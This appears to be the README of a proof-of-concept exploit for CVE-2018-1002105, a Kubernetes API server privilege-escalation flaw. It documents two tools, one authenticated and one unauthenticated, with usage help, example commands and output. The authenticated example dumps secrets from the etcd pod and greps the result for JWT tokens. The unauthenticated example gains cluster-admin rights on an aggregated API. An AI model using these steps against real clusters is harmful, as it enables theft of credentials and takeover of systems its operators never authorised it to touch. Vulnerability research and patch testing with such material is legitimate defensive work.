CVE-2018-1002105 PoC
Authenticated PoC
Proof-of-Concept exploit for CVE-2018-1002105. The current exploit requires create and get privileges on pods and pods/exec. Support has been added for portforward and attach, which require similar permissions.
The current PoC dumps the secrets from the default etcd-kubernetes pod.
Demo
The PoC in action:
Usage
usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod
POD --method {exec,portforward,attach}
[--privileged-namespace PNAMESPACE] [--privileged-pod PPOD]
[--container CONTAINER] [--command COMMAND]
[--filename FILENAME]
PoC for CVE-2018-1002105.
optional arguments:
-h, --help show this help message and exit
required arguments:
--target TARGET, -t TARGET
API server target:port
--jwt TOKEN, -j TOKEN
JWT token for service account
--namespace NAMESPACE, -n NAMESPACE
Namespace with method access
--pod POD, -p POD Pod with method access
--method {exec,portforward,attach}, -m {exec,portforward,attach}
optional arguments:
--privileged-namespace PNAMESPACE, -s PNAMESPACE
Target namespace
--privileged-pod PPOD, -e PPOD
Target privileged pod
--container CONTAINER, -c CONTAINER
Target container
--command COMMAND, -x COMMAND
Command to execute
--filename FILENAME, -f FILENAME
File to save output to
Example:
$ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach
[*] Building pipe using attach...
[+] Pipe opened :D
[*] Attempting code exec on etcd-kubernetes/etcd
[*] Writing output to etcd.out ....
[+] Done!Check for tokens:
$ grep -air eyJ etcd.dbUnauthenticated PoC
The unauthenticated PoC allows privilege escalation within the context of the exposed API. Depending on the functionalities of the API it might be possible to get code execution on pods. This demo currently exploits the bug to gain cluster-admin rights on the servicecatalog.k8s.io API. This exploit should also work for metrics.k8s.io or any API exposed through the aggregated layer.
Demo
The PoC in action:
Usage
usage: unauth_poc.py [-h] --target TARGET [--api-base BASE]
[--api-target TARGET_API] [--api-version VERSION]
[--json] [--filename FILENAME]
Unauthenticated PoC for CVE-2018-1002105
optional arguments:
-h, --help show this help message and exit
required arguments:
--target TARGET, -t TARGET
API server target:port
--api-base BASE, -b BASE
Target API name i.e. "servicecatalog.k8s.io"
--api-target TARGET_API, -u TARGET_API
API to access i.e. "clusterservicebrokers"
optional arguments:
--api-version VERSION, -a VERSION
API version to use i.e. "v1beta1"
--json, -j Print json output
--filename FILENAME, -f FILENAME
File to save output toExample:
$ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out
[*] Building pipe ...
[+] Pipe opened :D
[*] Attempting to access url
[+] Pipe opened :D
[*] Writing output to api.out ....
[+] Done!
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